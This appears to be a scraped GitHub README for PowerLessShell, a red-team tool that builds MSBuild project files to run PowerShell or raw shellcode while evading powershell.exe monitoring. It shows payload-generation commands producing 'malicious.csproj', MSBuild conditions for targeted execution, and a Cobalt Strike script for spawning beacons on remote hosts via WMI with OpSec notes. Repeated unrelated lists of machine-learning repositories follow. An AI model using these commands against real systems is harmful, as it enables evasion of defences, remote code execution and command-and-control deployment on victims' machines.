Run PowerShell command without invoking powershell.exe

Last update: Jan 03, 2023

Related tags

Overview

PowerLessShell

PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.

MSBuild conditions

MSBuild support condition that can be used to avoid running code if the condition is not met.

<Target Name="x" Condition="'$(USERDOMAIN)'=='RingZer0'">

The malicious code will only be executed if the current user domain is "RingZer0"

Condition supports several other formats that can be used to create more conditional execution check.

<Target Name="x" Condition="'$(registry:HKEY_LOCAL_MACHINE\[email protected])'>='0'">

Property Functions also expose interesting data.

https://docs.microsoft.com/en-us/visualstudio/msbuild/property-functions

Usage

PowerLessShell use commandline argument to generate the final file.

$ python PowerLessShell.py -h
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT
                         [-arch ARCH] [-condition CONDITION]

optional arguments:
  -h, --help            show this help message and exit
  -type TYPE            Payload type (shellcode/powershell) default to:
                        shellcode
  -source SOURCE        Path to the source file (raw shellcode or powershell
                        script)
  -output OUTPUT        MSBuild output filename
  -arch ARCH            Shellcode architecture (32/64) default to: 32
  -condition CONDITION  XML Compiling condition default (Check for USERDOMAIN)
                        default is: none

Generating a powershell payload

$ python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-powershell.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a shellcode payload

$ python PowerLessShell.py -source shellcode.raw -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
File 'malicious.csproj' created
Process completed

Generating a 64 bits shellcode payload

$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed

Cobalt Strike Aggressor script (wmi_msbuild.cna)

By Alyssa (ramen0x3f) and MrT-F

Set Up

Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path
If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell
Load script into Cobalt Strike

Usage

check_msbuild -target TARGET   		Verify .NET 4.0.30319 is installed (should see "Status OK")
	[-user user] [-pass pass]		Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles

rename_msbuild -target TARGET 		Copy MSBuild.exe. 
	-msbuild newname 
 	[-path C:\new\path] 		Default - C:\Users\Public\
	[-user domain\username]		Specifying user/pass spawns cmd on remote host.
 	[-pass password]			

wmi_msbuild -target TARGET 		 	Spawn new beacon. 
         -listener LISTENER
	[-payload new_file]		 	Default - [a-zA-Z].tmp
	[-directory new_dir]			Default - C:\Users\Public\
	[-msbuild alt_msbuild_location] 	
	[-user USERNAME] [-pass PASSWORD]	
	[-manualdelete]				Switch doesn't auto delete payload.

OpSec Notes

Spawns cmd.exe on the target system if

ManualDelete switch is not set
rename_msbuild is run with a username/password specified

Credit

Mr.Un1k0d3r RingZer0 Team 2017

Run PowerShell command without invoking powershell.exe

Related tags

Overview

PowerLessShell

MSBuild conditions

Usage

Cobalt Strike Aggressor script (wmi_msbuild.cna)

Set Up

Usage

OpSec Notes

Credit

Owner

Mr.Un1k0d3r

Semi-supervised Stance Detection of Tweets Via Distant Network Supervision

Code, Data and Demo for Paper: Controllable Generation from Pre-trained Language Models via Inverse Prompting

[ICML 2021] A fast algorithm for fitting robust decision trees.

Generative vs Discriminative: Rethinking The Meta-Continual Learning (NeurIPS 2021)

code for paper "Not All Unlabeled Data are Equal: Learning to Weight Data in Semi-supervised Learning" by Zhongzheng Ren, Raymond A. Yeh, Alexander G. Schwing.

This repo contains the official code of our work SAM-SLR which won the CVPR 2021 Challenge on Large Scale Signer Independent Isolated Sign Language Recognition.

Multi-modal Text Recognition Networks: Interactive Enhancements between Visual and Semantic Features

Examples of using f2py to get high-speed Fortran integrated with Python easily

Text Extraction Formulation + Feedback Loop for state-of-the-art WSD (EMNLP 2021)

Official Keras Implementation for UNet++ in IEEE Transactions on Medical Imaging and DLMIA 2018

Open source simulator for autonomous vehicles built on Unreal Engine / Unity, from Microsoft AI & Research

Pytorch Implementation for CVPR2018 Paper: Learning to Compare: Relation Network for Few-Shot Learning

Classifies galaxy morphology with Bayesian CNN

An end-to-end project on customer segmentation

ICCV2021 Paper: AutoShape: Real-Time Shape-Aware Monocular 3D Object Detection

deep-table implements various state-of-the-art deep learning and self-supervised learning algorithms for tabular data using PyTorch.

[ICCV 2021] Self-supervised Monocular Depth Estimation for All Day Images using Domain Separation

Spatial Action Maps for Mobile Manipulation (RSS 2020)

A basic reminder tool written in Python.

Deal or No Deal? End-to-End Learning for Negotiation Dialogues

Run PowerShell command without invoking powershell.exe

Related tags

Overview

PowerLessShell

MSBuild conditions

Usage

Cobalt Strike Aggressor script (wmi_msbuild.cna)

Set Up

Usage

OpSec Notes

Credit

Owner

Mr.Un1k0d3r

Semi-supervised Stance Detection of Tweets Via Distant Network Supervision

Code, Data and Demo for Paper: Controllable Generation from Pre-trained Language Models via Inverse Prompting

[ICML 2021] A fast algorithm for fitting robust decision trees.

Generative vs Discriminative: Rethinking The Meta-Continual Learning (NeurIPS 2021)

code for paper "Not All Unlabeled Data are Equal: Learning to Weight Data in Semi-supervised Learning" by Zhongzheng Ren*, Raymond A. Yeh*, Alexander G. Schwing.

This repo contains the official code of our work SAM-SLR which won the CVPR 2021 Challenge on Large Scale Signer Independent Isolated Sign Language Recognition.

Multi-modal Text Recognition Networks: Interactive Enhancements between Visual and Semantic Features

Examples of using f2py to get high-speed Fortran integrated with Python easily

Text Extraction Formulation + Feedback Loop for state-of-the-art WSD (EMNLP 2021)

Official Keras Implementation for UNet++ in IEEE Transactions on Medical Imaging and DLMIA 2018

Open source simulator for autonomous vehicles built on Unreal Engine / Unity, from Microsoft AI & Research

Pytorch Implementation for CVPR2018 Paper: Learning to Compare: Relation Network for Few-Shot Learning

Classifies galaxy morphology with Bayesian CNN

An end-to-end project on customer segmentation

ICCV2021 Paper: AutoShape: Real-Time Shape-Aware Monocular 3D Object Detection

deep-table implements various state-of-the-art deep learning and self-supervised learning algorithms for tabular data using PyTorch.

[ICCV 2021] Self-supervised Monocular Depth Estimation for All Day Images using Domain Separation

Spatial Action Maps for Mobile Manipulation (RSS 2020)

A basic reminder tool written in Python.

Deal or No Deal? End-to-End Learning for Negotiation Dialogues

code for paper "Not All Unlabeled Data are Equal: Learning to Weight Data in Semi-supervised Learning" by Zhongzheng Ren, Raymond A. Yeh, Alexander G. Schwing.